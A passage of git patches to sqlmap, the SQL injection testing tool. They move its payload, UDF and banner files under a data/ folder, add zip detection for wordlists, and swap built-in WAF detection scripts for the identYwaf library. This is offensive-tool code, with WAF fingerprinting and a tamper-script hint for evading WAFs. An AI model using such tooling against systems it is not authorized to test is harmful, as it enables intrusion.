data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ diff --git a/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ similarity index 100% rename from udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ diff --git a/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ similarity index 100% rename from udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ diff --git a/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ similarity index 100% rename from udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ rename to data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ diff --git a/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ similarity index 100% rename from udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ rename to data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ diff --git a/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ similarity index 100% rename from udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ rename to data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ diff --git a/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ similarity index 100% rename from udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ rename to data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ diff --git a/xml/banner/generic.xml b/data/xml/banner/generic.xml similarity index 100% rename from xml/banner/generic.xml rename to data/xml/banner/generic.xml diff --git a/xml/banner/mssql.xml b/data/xml/banner/mssql.xml similarity index 100% rename from xml/banner/mssql.xml rename to data/xml/banner/mssql.xml diff --git a/xml/banner/mysql.xml b/data/xml/banner/mysql.xml similarity index 100% rename from xml/banner/mysql.xml rename to data/xml/banner/mysql.xml diff --git a/xml/banner/oracle.xml b/data/xml/banner/oracle.xml similarity index 100% rename from xml/banner/oracle.xml rename to data/xml/banner/oracle.xml diff --git a/xml/banner/postgresql.xml b/data/xml/banner/postgresql.xml similarity index 100% rename from xml/banner/postgresql.xml rename to data/xml/banner/postgresql.xml diff --git a/xml/banner/server.xml b/data/xml/banner/server.xml similarity index 100% rename from xml/banner/server.xml rename to data/xml/banner/server.xml diff --git a/xml/banner/servlet-engine.xml b/data/xml/banner/servlet-engine.xml similarity index 100% rename from xml/banner/servlet-engine.xml rename to data/xml/banner/servlet-engine.xml diff --git a/xml/banner/set-cookie.xml b/data/xml/banner/set-cookie.xml similarity index 100% rename from xml/banner/set-cookie.xml rename to data/xml/banner/set-cookie.xml diff --git a/xml/banner/sharepoint.xml b/data/xml/banner/sharepoint.xml similarity index 100% rename from xml/banner/sharepoint.xml rename to data/xml/banner/sharepoint.xml diff --git a/xml/banner/x-aspnet-version.xml b/data/xml/banner/x-aspnet-version.xml similarity index 100% rename from xml/banner/x-aspnet-version.xml rename to data/xml/banner/x-aspnet-version.xml diff --git a/xml/banner/x-powered-by.xml b/data/xml/banner/x-powered-by.xml similarity index 100% rename from xml/banner/x-powered-by.xml rename to data/xml/banner/x-powered-by.xml diff --git a/xml/boundaries.xml b/data/xml/boundaries.xml similarity index 100% rename from xml/boundaries.xml rename to data/xml/boundaries.xml diff --git a/xml/errors.xml b/data/xml/errors.xml similarity index 100% rename from xml/errors.xml rename to data/xml/errors.xml diff --git a/xml/livetests.xml b/data/xml/livetests.xml similarity index 100% rename from xml/livetests.xml rename to data/xml/livetests.xml diff --git a/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml similarity index 100% rename from xml/payloads/boolean_blind.xml rename to data/xml/payloads/boolean_blind.xml diff --git a/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml similarity index 100% rename from xml/payloads/error_based.xml rename to data/xml/payloads/error_based.xml diff --git a/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml similarity index 100% rename from xml/payloads/inline_query.xml rename to data/xml/payloads/inline_query.xml diff --git a/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml similarity index 100% rename from xml/payloads/stacked_queries.xml rename to data/xml/payloads/stacked_queries.xml diff --git a/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml similarity index 100% rename from xml/payloads/time_blind.xml rename to data/xml/payloads/time_blind.xml diff --git a/xml/payloads/union_query.xml b/data/xml/payloads/union_query.xml similarity index 100% rename from xml/payloads/union_query.xml rename to data/xml/payloads/union_query.xml diff --git a/xml/queries.xml b/data/xml/queries.xml similarity index 100% rename from xml/queries.xml rename to data/xml/queries.xml diff --git a/lib/core/common.py b/lib/core/common.py index c6da1478dbc..52081d1493c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -173,6 +173,7 @@ from lib.core.settings import URLENCODE_FAILSAFE_CHARS from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import VERSION_STRING +from lib.core.settings import ZIP_HEADER from lib.core.settings import WEBSCARAB_SPLITTER from lib.core.threads import getCurrentThreadData from lib.utils.sqlalchemy import _sqlalchemy @@ -1215,6 +1216,18 @@ def checkPipedInput(): return not os.isatty(sys.stdin.fileno()) +def isZipFile(filename): + """ + Checks if file contains zip compressed content + + >>> isZipFile(paths.WORDLIST) + True + """ + + checkFile(filename) + + return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER + def checkFile(filename, raiseOnError=True): """ Checks for file existence and readability @@ -1314,18 +1327,42 @@ def setPaths(rootPath): paths.SQLMAP_ROOT_PATH = rootPath # sqlmap paths + paths.SQLMAP_DATA_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "data") paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra") - paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "procs") - paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "shell") paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper") paths.SQLMAP_WAF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "waf") - paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "txt") - paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf") - paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml") + + paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs") + paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell") + paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "txt") + paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "udf") + paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "xml") paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads") + # sqlmap files + paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") + paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") + paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') + paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") + paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") + paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") + paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_") + paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") + paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml") + paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml") + paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml") + paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml") + paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml") + paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml") + paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml") + paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml") + + for path in paths.values(): + if any(path.endswith(_) for _ in (".txt", ".xml", ".tx_")): + checkFile(path) + if IS_WIN: if os.getenv("LOCALAPPDATA"): paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap") @@ -1348,28 +1385,6 @@ def setPaths(rootPath): paths.SQLMAP_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sqlmap.hst") paths.GITHUB_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "github.hst") - # sqlmap files - paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") - paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") - paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') - paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") - paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") - paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") - paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.zip") - paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") - paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml") - paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml") - paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml") - paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml") - paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml") - paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml") - paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml") - paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml") - - for path in paths.values(): - if any(path.endswith(_) for _ in (".txt", ".xml", ".zip")): - checkFile(path) - def weAreFrozen(): """ Returns whether we are frozen via py2exe. diff --git a/lib/core/settings.py b/lib/core/settings.py index 1744ef9641a..e300c10a639 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.129" +VERSION = "1.3.5.130" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -777,6 +777,9 @@ # Prefix used to mark special variables (e.g. keywords, having special chars, etc.) EVALCODE_ENCODED_PREFIX = "EVAL_" +# Reference: https://en.wikipedia.org/wiki/Zip_(file_format) +ZIP_HEADER = b"\x50\x4b\x03\x04" + # Reference: http://www.cookiecentral.com/faq/#3.5 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index fef136563aa..34da6358db5 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -9,6 +9,7 @@ import zipfile from lib.core.common import getSafeExString +from lib.core.common import isZipFile from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapInstallationException from thirdparty import six @@ -45,7 +46,7 @@ def adjust(self): self.iter = iter(self.custom) else: self.current = self.filenames[self.index] - if os.path.splitext(self.current)[1].lower() == ".zip": + if isZipFile(self.current): try: _ = zipfile.ZipFile(self.current, 'r') except zipfile.error as ex: diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 3b92873b793..fe31589b593 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -55,6 +55,7 @@ from lib.core.common import getSafeExString from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite +from lib.core.common import isZipFile from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import paths @@ -1003,7 +1004,7 @@ def dictionaryAttack(attack_dict): for dictPath in dictPaths: checkFile(dictPath) - if os.path.splitext(dictPath)[1].lower() == ".zip": + if isZipFile(dictPath): _ = zipfile.ZipFile(dictPath, 'r') if len(_.namelist()) == 0: errMsg = "no file(s) inside '%s'" % dictPath From 0c79504ff1c2e0f80e3c36cc841de62fc4bd997a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 May 2019 13:09:28 +0200 Subject: [PATCH 400/800] Switching from WAF scripts to identYwaf (avoiding redundant work from my side) --- doc/THIRD-PARTY.md | 2 + lib/controller/checks.py | 137 ++--- lib/controller/controller.py | 4 - lib/core/option.py | 41 -- lib/core/optiondict.py | 1 - lib/core/patch.py | 2 - lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 - sqlmap.conf | 4 - swagger.yaml | 1 - thirdparty/identywaf/LICENSE | 21 + thirdparty/identywaf/__init__.py | 0 thirdparty/identywaf/data.json | 885 ++++++++++++++++++++++++++++++ thirdparty/identywaf/identYwaf.py | 585 ++++++++++++++++++++ waf/360.py | 23 - waf/__init__.py | 8 - waf/aesecure.py | 22 - waf/airlock.py | 25 - waf/anquanbao.py | 21 - waf/approach.py | 27 - waf/armor.py | 21 - waf/asm.py | 22 - waf/astra.py | 21 - waf/aws.py | 24 - waf/barracuda.py | 26 - waf/bekchy.py | 21 - waf/bitninja.py | 21 - waf/bluedon.py | 25 - waf/cerber.py | 21 - waf/chinacache.py | 22 - waf/ciscoacexml.py | 24 - waf/cloudbric.py | 21 - waf/cloudflare.py | 33 -- waf/cloudfront.py | 21 - waf/comodo.py | 24 - waf/crawlprotect.py | 22 - waf/distil.py | 22 - waf/dotdefender.py | 22 - waf/edgecast.py | 24 - waf/expressionengine.py | 24 - waf/fortiweb.py | 25 - waf/generic.py | 35 -- waf/godaddy.py | 21 - waf/greywizard.py | 25 - waf/imunify360.py | 25 - waf/incapsula.py | 29 - waf/isaserver.py | 16 - waf/janusec.py | 21 - waf/jiasule.py | 28 - waf/knownsec.py | 23 - waf/kona.py | 24 - waf/malcare.py | 24 - waf/modsecurity.py | 25 - waf/naxsi.py | 24 - waf/netscaler.py | 21 - waf/newdefend.py | 25 - waf/nexusguard.py | 24 - waf/ninjafirewall.py | 22 - waf/onmessageshield.py | 25 - waf/paloalto.py | 24 - waf/perimeterx.py | 21 - waf/profense.py | 25 - waf/proventia.py | 15 - waf/radware.py | 24 - waf/reblaze.py | 26 - waf/requestvalidationmode.py | 23 - waf/rsfirewall.py | 21 - waf/safe3.py | 26 - waf/safedog.py | 27 - waf/safeline.py | 21 - waf/secureentry.py | 24 - waf/secureiis.py | 25 - waf/securesphere.py | 23 - waf/senginx.py | 21 - waf/shieldsecurity.py | 21 - waf/siteground.py | 21 - waf/siteguard.py | 21 - waf/sitelock.py | 22 - waf/sonicwall.py | 27 - waf/sophos.py | 21 - waf/squarespace.py | 21 - waf/stackpath.py | 21 - waf/sucuri.py | 29 - waf/tencent.py | 21 - waf/trafficshield.py | 25 - waf/urlmaster.py | 21 - waf/urlscan.py | 25 - waf/varnish.py | 21 - waf/virusdie.py | 21 - waf/wallarm.py | 24 - waf/watchguard.py | 25 - waf/webknight.py | 26 - waf/webseal.py | 25 - waf/wordfence.py | 21 - waf/wts.py | 25 - waf/yundun.py | 26 - waf/yunsuo.py | 25 - waf/zenedge.py | 25 - 98 files changed, 1529 insertions(+), 2114 deletions(-) create mode 100644 thirdparty/identywaf/LICENSE create mode 100644 thirdparty/identywaf/__init__.py create mode 100644 thirdparty/identywaf/data.json create mode 100755 thirdparty/identywaf/identYwaf.py delete mode 100644 waf/360.py delete mode 100644 waf/__init__.py delete mode 100644 waf/aesecure.py delete mode 100644 waf/airlock.py delete mode 100644 waf/anquanbao.py delete mode 100644 waf/approach.py delete mode 100644 waf/armor.py delete mode 100644 waf/asm.py delete mode 100644 waf/astra.py delete mode 100644 waf/aws.py delete mode 100644 waf/barracuda.py delete mode 100644 waf/bekchy.py delete mode 100644 waf/bitninja.py delete mode 100644 waf/bluedon.py delete mode 100644 waf/cerber.py delete mode 100644 waf/chinacache.py delete mode 100644 waf/ciscoacexml.py delete mode 100644 waf/cloudbric.py delete mode 100644 waf/cloudflare.py delete mode 100644 waf/cloudfront.py delete mode 100644 waf/comodo.py delete mode 100644 waf/crawlprotect.py delete mode 100644 waf/distil.py delete mode 100644 waf/dotdefender.py delete mode 100644 waf/edgecast.py delete mode 100644 waf/expressionengine.py delete mode 100644 waf/fortiweb.py delete mode 100644 waf/generic.py delete mode 100644 waf/godaddy.py delete mode 100644 waf/greywizard.py delete mode 100644 waf/imunify360.py delete mode 100644 waf/incapsula.py delete mode 100644 waf/isaserver.py delete mode 100644 waf/janusec.py delete mode 100644 waf/jiasule.py delete mode 100644 waf/knownsec.py delete mode 100644 waf/kona.py delete mode 100644 waf/malcare.py delete mode 100644 waf/modsecurity.py delete mode 100644 waf/naxsi.py delete mode 100644 waf/netscaler.py delete mode 100644 waf/newdefend.py delete mode 100644 waf/nexusguard.py delete mode 100644 waf/ninjafirewall.py delete mode 100644 waf/onmessageshield.py delete mode 100644 waf/paloalto.py delete mode 100644 waf/perimeterx.py delete mode 100644 waf/profense.py delete mode 100644 waf/proventia.py delete mode 100644 waf/radware.py delete mode 100644 waf/reblaze.py delete mode 100644 waf/requestvalidationmode.py delete mode 100644 waf/rsfirewall.py delete mode 100644 waf/safe3.py delete mode 100644 waf/safedog.py delete mode 100644 waf/safeline.py delete mode 100644 waf/secureentry.py delete mode 100644 waf/secureiis.py delete mode 100644 waf/securesphere.py delete mode 100644 waf/senginx.py delete mode 100644 waf/shieldsecurity.py delete mode 100644 waf/siteground.py delete mode 100644 waf/siteguard.py delete mode 100644 waf/sitelock.py delete mode 100644 waf/sonicwall.py delete mode 100644 waf/sophos.py delete mode 100644 waf/squarespace.py delete mode 100644 waf/stackpath.py delete mode 100644 waf/sucuri.py delete mode 100644 waf/tencent.py delete mode 100644 waf/trafficshield.py delete mode 100644 waf/urlmaster.py delete mode 100644 waf/urlscan.py delete mode 100644 waf/varnish.py delete mode 100644 waf/virusdie.py delete mode 100644 waf/wallarm.py delete mode 100644 waf/watchguard.py delete mode 100644 waf/webknight.py delete mode 100644 waf/webseal.py delete mode 100644 waf/wordfence.py delete mode 100644 waf/wts.py delete mode 100644 waf/yundun.py delete mode 100644 waf/yunsuo.py delete mode 100644 waf/zenedge.py diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index 468e14c772c..eca318269ac 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -276,6 +276,8 @@ be bound by the terms and conditions of this License Agreement. * The `bottle` web framework library located under `thirdparty/bottle/`. Copyright (C) 2012, Marcel Hellkamp. +* The `identYwaf` library located under `thirdparty/identywaf/`. + Copyright (C) 2019, Miroslav Stampar. * The `ordereddict` library located under `thirdparty/odict/`. Copyright (C) 2009, Raymond Hettinger. * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`. diff --git a/lib/controller/checks.py b/lib/controller/checks.py index acef09e326e..3bb8841994f 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -108,6 +108,7 @@ from lib.techniques.union.test import unionTest from lib.techniques.union.use import configUnion from thirdparty import six +from thirdparty.identywaf import identYwaf from thirdparty.six.moves import http_client as _http_client def checkSqlInjection(place, parameter, value): @@ -1402,116 +1403,51 @@ def checkWaf(): kb.resendPostOnRedirect = popValue() kb.redirectChoice = popValue() + # TODO: today if retVal: - warnMsg = "heuristics detected that the target " - warnMsg += "is protected by some kind of WAF/IPS" - logger.critical(warnMsg) - - if not conf.identifyWaf: - message = "do you want sqlmap to try to detect backend " - message += "WAF/IPS? [y/N] " - - if readInput(message, default='N', boolean=True): - conf.identifyWaf = True - - if conf.timeout == defaults.timeout: - logger.warning("dropping timeout to %d seconds (i.e. '--timeout=%d')" % (IDS_WAF_CHECK_TIMEOUT, IDS_WAF_CHECK_TIMEOUT)) - conf.timeout = IDS_WAF_CHECK_TIMEOUT - - hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True) - - return retVal - -@stackedmethod -def identifyWaf(): - if not conf.identifyWaf: - return None - - if not kb.wafFunctions: - setWafFunctions() - - kb.testMode = True - - infoMsg = "using WAF scripts to detect " - infoMsg += "backend WAF/IPS protection" - logger.info(infoMsg) - - @cachedmethod - def _(*args, **kwargs): - page, headers, code = None, None, None - try: - pushValue(kb.redirectChoice) - pushValue(kb.resendPostOnRedirect) - - kb.redirectChoice = REDIRECTION.YES - kb.resendPostOnRedirect = True - - if kwargs.get("get"): - kwargs["get"] = urlencode(kwargs["get"]) - kwargs["raise404"] = False - kwargs["silent"] = True - kwargs["finalCode"] = True - - page, headers, code = Request.getPage(*args, **kwargs) - except Exception: - pass - finally: - kb.resendPostOnRedirect = popValue() - kb.redirectChoice = popValue() + pass + # identYwaf + #if conf.timeout == defaults.timeout: + #logger.warning("dropping timeout to %d seconds (i.e. '--timeout=%d')" % (IDS_WAF_CHECK_TIMEOUT, IDS_WAF_CHECK_TIMEOUT)) + #conf.timeout = IDS_WAF_CHECK_TIMEOUT - return page or "", headers or {}, code + # identYwaf - retVal = [] + #def _(*args, **kwargs): + #page, headers, code = None, None, None + #try: + #pushValue(kb.redirectChoice) + #pushValue(kb.resendPostOnRedirect) - for function, product in kb.wafFunctions: - if retVal and "unknown" in product.lower(): - continue + #kb.redirectChoice = REDIRECTION.YES + #kb.resendPostOnRedirect = True - try: - logger.debug("checking for WAF/IPS product '%s'" % product) - found = function(_) - except Exception as ex: - errMsg = "exception occurred while running " - errMsg += "WAF script for '%s' ('%s')" % (product, getSafeExString(ex)) - logger.critical(errMsg) + #if kwargs.get("get"): + #kwargs["get"] = urlencode(kwargs["get"]) + #kwargs["raise404"] = False + #kwargs["silent"] = True + #kwargs["finalCode"] = True - found = False + #page, headers, code = Request.getPage(*args, **kwargs) + #except Exception: + #pass + #finally: + #kb.resendPostOnRedirect = popValue() + #kb.redirectChoice = popValue() - if found: - errMsg = "WAF/IPS identified as '%s'" % product - logger.critical(errMsg) - retVal.append(product) + #message = "are you sure that you want to " + #message += "continue with further target testing? [y/N] " + #choice = readInput(message, default='N', boolean=True) - if retVal: - if kb.wafSpecificResponse and "You don't have permission to access" not in kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower(): - handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE) - os.close(handle) - with openFile(filename, "w+b") as f: - f.write(kb.wafSpecificResponse) - - message = "WAF/IPS specific response can be found in '%s'. " % filename - message += "If you know the details on used protection please " - message += "report it along with specific response " - message += "to '%s'" % DEV_EMAIL_ADDRESS - logger.warn(message) - - message = "are you sure that you want to " - message += "continue with further target testing? [y/N] " - choice = readInput(message, default='N', boolean=True) - - if not conf.tamper: - warnMsg = "please consider usage of tamper scripts (option '--tamper')" - singleTimeWarnMessage(warnMsg) + #if not conf.tamper: + #warnMsg = "please consider usage of tamper scripts (option '--tamper')" + #singleTimeWarnMessage(warnMsg) - if not choice: - raise SqlmapUserQuitException - else: - warnMsg = "WAF/IPS product hasn't been identified" - logger.warn(warnMsg) + #if not choice: + #raise SqlmapUserQuitException - kb.testType = None - kb.testMode = False + hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True) return retVal @@ -1666,6 +1602,3 @@ def checkInternet(): def setVerbosity(): # Cross-referenced function raise NotImplementedError - -def setWafFunctions(): # Cross-referenced function - raise NotImplementedError diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 655620942b8..0e260720e9f 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -20,7 +20,6 @@ from lib.controller.checks import checkNullConnection from lib.controller.checks import checkWaf from lib.controller.checks import heuristicCheckSqlInjection -from lib.controller.checks import identifyWaf from lib.core.agent import agent from lib.core.common import dataToStdout from lib.core.common import extractRegexResult @@ -423,9 +422,6 @@ def start(): checkWaf() - if conf.identifyWaf: - identifyWaf() - if conf.nullConnection: checkNullConnection() diff --git a/lib/core/option.py b/lib/core/option.py index 78cd96e2913..b8e893f5368 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -904,42 +904,6 @@ def _setPreprocessFunctions(): errMsg += "(Note: find template script at '%s')" % filename raise SqlmapGenericException(errMsg) -def _setWafFunctions(): - """ - Loads WAF/IPS detecting functions from script(s) - """ - - if conf.identifyWaf: - for found in glob.glob(os.path.join(paths.SQLMAP_WAF_PATH, "*.py")): - dirname, filename = os.path.split(found) - dirname = os.path.abspath(dirname) - - if filename == "__init__.py": - continue - - debugMsg = "loading WAF script '%s'" % filename[:-3] - logger.debug(debugMsg) - - if dirname not in sys.path: - sys.path.insert(0, dirname) - - try: - if filename[:-3] in sys.modules: - del sys.modules[filename[:-3]] - module = __import__(safeFilepathEncode(filename[:-3])) - except ImportError as ex: - raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) - - _ = dict(inspect.getmembers(module)) - if "detect" not in _: - errMsg = "missing function 'detect(get_page)' " - errMsg += "in WAF script '%s'" % found - raise SqlmapGenericException(errMsg) - else: - kb.wafFunctions.append((_["detect"], _.get("__product__", filename[:-3]))) - - kb.wafFunctions = sorted(kb.wafFunctions, key=lambda _: "generic" in _[1].lower()) - def _setThreads(): if not isinstance(conf.threads, int) or conf.threads <= 0: conf.threads = 1 @@ -2394,10 +2358,6 @@ def _basicOptionValidation(): errMsg = "option '-d' is incompatible with option '--dbms'" raise SqlmapSyntaxException(errMsg) - if conf.identifyWaf and conf.skipWaf: - errMsg = "switch '--identify-waf' is incompatible with switch '--skip-waf'" - raise SqlmapSyntaxException(errMsg) - if conf.titles and conf.nullConnection: errMsg = "switch '--titles' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) @@ -2630,7 +2590,6 @@ def init(): _listTamperingFunctions() _setTamperingFunctions() _setPreprocessFunctions() - _setWafFunctions() _setTrafficOutputFP() _setupHTTPCollector() _setHttpChunked() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index cce6cc1cfab..ccc5cfca1ce 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -229,7 +229,6 @@ "dependencies": "boolean", "disableColoring": "boolean", "googlePage": "integer", - "identifyWaf": "boolean", "listTampers": "boolean", "mobile": "boolean", "offline": "boolean", diff --git a/lib/core/patch.py b/lib/core/patch.py index ac7384332eb..085e54e1b9a 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -28,7 +28,6 @@ from lib.core.convert import stdoutEncode from lib.core.option import _setHTTPHandlers from lib.core.option import setVerbosity -from lib.core.option import _setWafFunctions from lib.core.settings import IS_WIN from thirdparty.six.moves import http_client as _http_client @@ -70,7 +69,6 @@ def resolveCrossReferences(): lib.request.connect.setHTTPHandlers = _setHTTPHandlers lib.utils.search.setHTTPHandlers = _setHTTPHandlers lib.controller.checks.setVerbosity = setVerbosity - lib.controller.checks.setWafFunctions = _setWafFunctions lib.utils.sqlalchemy.getSafeExString = getSafeExString thirdparty.ansistrm.ansistrm.stdoutEncode = stdoutEncode diff --git a/lib/core/settings.py b/lib/core/settings.py index e300c10a639..a0c908d5439 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.130" +VERSION = "1.3.5.131" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 5827158743b..c1a270cdb8b 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -652,9 +652,6 @@ def cmdLineParser(argv=None): miscellaneous.add_option("--gpage", dest="googlePage", type="int", help="Use Google dork results from specified page number") - miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true", - help="Make a thorough testing for a WAF/IPS protection") - miscellaneous.add_option("--list-tampers", 